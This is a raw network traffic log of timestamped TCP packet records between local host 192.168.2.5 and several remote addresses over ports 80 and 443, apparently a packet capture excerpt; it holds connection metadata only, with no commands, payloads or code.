Oct 30, 2024 18:06:43.678457022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.678471088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.678740978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678759098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678771019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678788900 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.678802013 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.678832054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678843021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678855896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.678879023 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.678898096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.679629087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.679677010 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.679683924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.679693937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.679719925 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.679734945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.679738045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.679744005 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.679749012 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.679761887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.679792881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.679821968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.679825068 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:43.679841995 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.680574894 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.680587053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.680646896 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:43.680674076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.680675030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.680675030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.680686951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.680706978 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.680721045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.680777073 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:43.680834055 CET	443	49847	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:43.680875063 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.680905104 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.680916071 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.680927038 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.680928946 CET	49847	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:43.680944920 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.680957079 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.680975914 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.681010962 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.681030035 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.681061029 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.682532072 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.682545900 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.682569027 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.682604074 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.682626009 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.682656050 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.682678938 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.682913065 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.683933020 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.683954954 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.729224920 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.729243040 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.729288101 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.729321003 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.729325056 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.729401112 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.729435921 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.729465008 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.767354012 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.767380953 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.767453909 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.767478943 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.767529964 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.768419027 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.768487930 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.770087004 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.770104885 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.770149946 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.770172119 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.770186901 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.770215988 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.770231009 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.770294905 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.770586967 CET	49851	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.770622015 CET	443	49851	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.774180889 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.774252892 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.774308920 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.774347067 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.797715902 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.797745943 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.797806025 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.797827959 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.797877073 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.799536943 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.799555063 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.799612045 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.799633980 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.799671888 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.801279068 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.801305056 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.801323891 CET	49853	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:43.801356077 CET	443	49853	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:43.801377058 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.801397085 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.801445961 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.803076982 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.803093910 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.803170919 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.803194046 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.803522110 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.837048054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837125063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837136030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837138891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.837147951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837162018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837173939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837177992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.837210894 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.837464094 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837481976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837492943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837512970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.837538958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.837563992 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837574959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837588072 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.837608099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.837622881 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.838149071 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838186979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838198900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838202953 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.838227987 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.838411093 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838453054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838455915 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.838464975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838512897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838525057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838536978 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838546991 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838557959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.838560104 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.838578939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.838591099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.839261055 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839279890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839292049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839339018 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.839354992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.839369059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839380980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839391947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839402914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839415073 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.839415073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.839445114 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.840317965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840380907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.840411901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840424061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840435028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840445995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840456963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840467930 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840473890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.840481043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.840492964 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.840507030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.840539932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.841250896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841305971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.841308117 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841329098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841340065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841365099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841372013 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.841404915 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.841439962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841451883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841466904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.841492891 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.841509104 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.915072918 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.915110111 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.915169954 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.915195942 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.915220976 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.915239096 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.915990114 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.916007996 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.916059017 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.916068077 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.916093111 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.916106939 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.917383909 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.917402029 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.917444944 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.917464972 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.917480946 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.917495966 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.918615103 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.918633938 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.918682098 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.918699026 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.918724060 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.918739080 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.920970917 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.920989037 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.921051979 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.921071053 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.921600103 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.922225952 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.922245026 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.922290087 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.922305107 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.922332048 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.922346115 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.923106909 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.923132896 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.923194885 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.923207998 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:43.923358917 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:43.931351900 CET	443	49857	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.931420088 CET	443	49856	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.931982994 CET	49857	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.932009935 CET	443	49857	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.932533979 CET	49857	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.932538986 CET	443	49857	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.933897972 CET	49856	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.933919907 CET	443	49856	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.934715986 CET	49856	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:43.934721947 CET	443	49856	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:43.947566032 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:43.947608948 CET	443	49862	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:43.947681904 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:43.948770046 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:43.948810101 CET	443	49863	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:43.948893070 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:43.949501991 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:43.949516058 CET	443	49862	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:43.950931072 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:43.950946093 CET	443	49863	23.198.7.185	192.168.2.5
Oct 30, 2024 18:06:43.951510906 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:43.951548100 CET	443	49864	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:43.951623917 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:43.953514099 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:43.953555107 CET	443	49865	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:43.953792095 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:43.955092907 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:43.955116987 CET	443	49864	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:43.956938028 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:43.956948042 CET	443	49865	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:43.964164972 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:43.964200020 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:43.964487076 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:43.965765953 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:43.965778112 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:43.996438026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996460915 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996474028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996484995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996498108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996505976 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.996546030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.996546030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.996565104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996593952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996606112 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.996634960 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.996712923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996723890 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996769905 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.996794939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996807098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996841908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996844053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.996851921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.996989965 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.997178078 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997189999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997200966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997212887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997226954 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.997242928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.997255087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997287989 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.997322083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997364998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997375965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997417927 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.997450113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997461081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997587919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.997659922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997708082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997719049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.997745991 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.997756958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998081923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998094082 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998136997 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998146057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998157024 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998209000 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998225927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998235941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998248100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998259068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998271942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998274088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998311043 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998326063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998337984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998377085 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998558044 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998568058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998579025 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.998605013 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.998631001 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.999007940 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999020100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999037027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999047995 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999059916 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999073029 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999074936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.999088049 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.999116898 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.999166012 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999185085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999197960 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999201059 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.999223948 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.999238014 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:43.999274969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999285936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999295950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999303102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:43.999351978 CET	49812	80	192.168.2.5	185.215.113.206
